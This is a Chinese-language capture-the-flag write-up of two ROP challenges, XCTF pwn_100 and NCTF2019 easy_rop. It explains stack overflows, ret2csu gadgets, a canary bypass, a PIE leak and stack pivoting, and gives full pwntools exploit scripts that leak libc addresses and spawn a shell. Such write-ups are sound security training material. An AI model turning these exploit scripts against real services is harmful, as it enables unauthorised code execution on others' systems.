Easy_ROP_I
ROP是一种攻击方式,通常利用程序中的一小段对寄存器的操作进行利用,ROP的进阶还有更大的利用空间,这里记录一个XCTF_Pwn中简单的ROP攻击
保护措施
| 1 | # checksec pwn_100 | 
| 2 |     Arch:     amd64-64-little | 
| 3 |     RELRO:    Partial RELRO | 
| 4 |     Stack:    No canary found | 
| 5 |     NX:       NX enabled | 
| 6 |     PIE:      No PIE (0x400000) | 
程序关闭了栈保护和地址随机化,难度降低了很多
分析
分析可知需要输入200个字节的长度,而写入的首地址距离RBP仅仅0x40长度,典型的栈溢出,而我们要做的就是将/bin/sh传入某个地方,并调用system函数。
但是仅一个read函数,程序也没有后门函数,或者system,/bin/sh的存在,此处我们可以先动态调式一番,然后vmmap查看内存地址中的rwx权限
在0x601000地址处具有w权限,而程序又没有PIE,那么这个地址就是程序的绝对地址,我们可以将/bin/sh直接写入到此处
此外,我们还需要选择我们需要的gadget构建ROPchain,利用read函数将/bin/sh写入0x601000,而我们需要控制edi和edx以及rsi,所以我们在初始化时init处取得
pop_rdi_ret 可以通过命令 ROPgadget –binary ./程序名 –only ‘pop|ret’ 取到地址
Gadget
| 1 | gadget1: | 
| 2 |     pop     rbx | 
| 3 |     pop     rbp | 
| 4 |     pop     r12 | 
| 5 |     pop     r13 | 
| 6 |     pop     r14 | 
| 7 |     pop     r15 | 
| 8 |     retn | 
| 1 | gadget2: | 
| 2 |     mov     rdx, r13 | 
| 3 |     mov     rsi, r14 | 
| 4 |     mov     edi, r15d | 
| 5 |     call    qword ptr [r12+rbx*8] | 
| 6 |     add     rbx, 1 | 
| 7 |     cmp     rbx, rbp | 
| 8 |     jnz     short loc_400740 | 
通过两个gadget,我们可以控制read函数调用时的参数,从而指定read写入,并在执行完加上stop gadget,从而再次回到程序开始,从而泄漏函数的真实地址,则泄露出程序运行的libc版本,需要三次传值,第一次写入命令,第二次泄漏地址,第三次取前两步的结果并成功利用
利用
EXP:
| 1 | from pwn import* | 
| 2 | from LibcSearcher import LibcSearcher | 
| 3 | p = remote('111.198.29.45',32858) | 
| 4 | #p = process('./pwn_100') | 
| 5 | elf = ELF('./pwn_100') | 
| 6 | context.log_level = 'debug' | 
| 7 | puts_plt = elf.plt['puts'] | 
| 8 | start_main_got = elf.got['__libc_start_main'] | 
| 9 | read_got = elf.got['read'] | 
| 10 | start_addr = 0x400550 | 
| 11 | binsh_addr = 0x00601000 | 
| 12 | gadget1_addr = 0x40075A | 
| 13 | gadget2_addr = 0x400740 | 
| 14 | pop_rdi_ret  = 0x400763  | 
| 15 | payload = 'Z'*0x40 + p64(0)+ p64(gadget1_addr) + p64(0) + p64(1) + p64(read_got) + p64(9)+p64(binsh_addr) +p64(0) + p64(gadget2_addr) + p64(0) * (6 + 1)+ p64(start_addr) | 
| 16 | payload = payload.ljust(199,'Z') | 
| 17 | p.send(payload) | 
| 18 | p.sendlineafter('bye~\n','/bin/sh\x00') | 
| 19 | payload2 = 'Z'*0x40 + p64(0) + p64(pop_rdi_ret) + p64(start_main_got) + p64(puts_plt) + p64(start_addr) | 
| 20 | payload2 = payload2.ljust(199,'Z') | 
| 21 | p.sendline(payload2) | 
| 22 | p.recvline() | 
| 23 | start_main_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) | 
| 24 | libc = LibcSearcher('__libc_start_main', start_main_addr) | 
| 25 | libcbase = start_main_addr - libc.dump('__libc_start_main') | 
| 26 | system_addr = libcbase + libc.dump('system') | 
| 27 | #binsh_addr = libcbase + libc.dump('str_bin_sh') | 
| 28 | rop = 'Z'*0x40 + p64(0)+ p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) | 
| 29 | rop = rop.ljust(199,'Z') | 
| 30 | p.sendline(rop) | 
| 31 | p.interactive() | 
Easy_ROP_II
第二题,我取的是NCTF2019里面的一个ROP题,这个题难度进阶了一下。
简单分析
| 1 | $ checksec easy_rop | 
| 2 |     Arch:     amd64-64-little | 
| 3 |     RELRO:    No RELRO | 
| 4 |     Stack:    Canary found | 
| 5 |     NX:       NX enabled | 
| 6 |     PIE:      PIE enabled | 
保护开启了Canary以及PIE,比第一题上升了一定的难度,那么我们先试试IDA静态分析
1.首先给数组分配了26*4个字节的空间到栈里,但是需要输入34个int整型值,并每次都会打印此值
2.可在BSS段写入一段字符串,写入的大小明显的可栈溢出
所以简单的分析后,应思考如何打印出Canary的值或者绕过Canary,不然无法栈溢出,此处有个技巧:在输入的时候,输入+,-不会修改栈中的值  
思路
1.输入 + 或者 - 绕过Canary,然后打印出EBP,获得PIE值
2.利用栈迁移,令栈到达最后写入的BSS段处
3.在BSS段写入攻击代码,打印出某个函数的实际地址,并取得libc版本
4.修改某函数的Got表内保存的地址为execve(“/bin/sh”)的地址,最后调用的函数,令程序执行/bin/sh
利用
| 1 | from pwn import* | 
| 2 | from LibcSearcher import* | 
| 3 | p = process('./easy_rop') | 
| 4 | elf = ELF('./easy_rop') | 
| 5 | context.log_level  = 'debug' | 
| 6 | puts_plt = elf.plt['puts'] | 
| 7 | puts_got = elf.got['puts'] | 
| 8 | read_plt = elf.plt['read'] | 
| 9 | read_got = elf.got['read'] | 
| 10 | def leak(): | 
| 11 | 	p.sendlineafter(': ','+') | 
| 12 | 	p.recvuntil(' = ') | 
| 13 | 	var_one = int(p.recvuntil('\n'))&0xFFFFFFFF | 
| 14 | 	p.sendlineafter(': ','-') | 
| 15 | 	p.recvuntil(' = ') | 
| 16 | 	var_two = (int(p.recvuntil('\n'))&0xFFFFFFFF)*0x100000000 | 
| 17 | 	return (var_one + var_two) | 
| 18 | def Set(address): | 
| 19 | 	p.sendlineafter(': ',str((address%0x100000000))) | 
| 20 | 	p.sendlineafter(': ',str(address/0x100000000)) | 
| 21 | |
| 22 | List = [] | 
| 23 | for i in range(0,15): | 
| 24 | 	List.append(leak()) | 
| 25 | log.success('Canary:\t' + hex(List[13])) | 
| 26 | log.success('RBP:\t'+hex(List[14])) | 
| 27 | |
| 28 | base = List[14] - 0xB40 | 
| 29 | main_addr = base + 0xA31 | 
| 30 | migrate_addr = base + 0x201420 | 
| 31 | pop_rdi_ret = base +0xBA3 | 
| 32 | pop_rsi_ret = base +0xBA1 | 
| 33 | gadget_one = base + 0xB9A | 
| 34 | gadget_two = base + 0xB80 | 
| 35 | |
| 36 | Set(base+0xB9D) | 
| 37 | Set(base+0x201408) | 
| 38 | |
| 39 | p.recvuntil('name?\n') | 
| 40 | rop = p64(pop_rdi_ret) + p64(base+0x201258) + p64(base+0x810) + p64(gadget_one) + p64(0) + p64(1) + p64(base+0x201258) + p64(9) + p64(base+0x201238) + p64(0) | 
| 41 | rop += p64(gadget_two) + p64(0) * (6 + 1) + p64(base+0x810) | 
| 42 | p.sendline(rop) | 
| 43 | read_addr = u64(p.recvuntil('\n',drop =True).ljust(8,'\x00')) | 
| 44 | log.success('Read_Addr:\t' + hex(read_addr)) | 
| 45 | libc = LibcSearcher('read',read_addr) | 
| 46 | libcbase = read_addr - libc.dump('read') | 
| 47 | exec_addr = libcbase + 0xE569F | 
| 48 | p.sendline(p64(exec_addr)) | 
| 49 | p.interactive() | 
